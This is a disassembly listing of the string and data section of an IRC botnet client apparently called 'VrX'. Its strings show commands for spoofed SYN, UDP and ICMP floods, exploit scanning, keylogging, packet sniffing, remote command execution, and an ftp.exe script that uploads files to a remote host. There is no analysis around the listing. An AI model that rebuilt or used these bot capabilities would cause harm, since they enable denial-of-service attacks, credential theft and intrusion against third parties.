unk_42AB08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB38	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABA8	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 10h
unk_42ABD0	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC44	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF4	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE70	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AEFC	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438AF0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B00o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 10h
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 4
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 4
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387C8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 4
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387BCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AECo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387C4o ...
		unicode	0, <n>,0
unk_42B784	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B7FC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B814	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B85C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B888	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B89C	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B90C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B920	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B924	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B934	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B938	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B93C	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E4	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAC4	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 10h
unk_42BAF0	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB1C	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBB8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
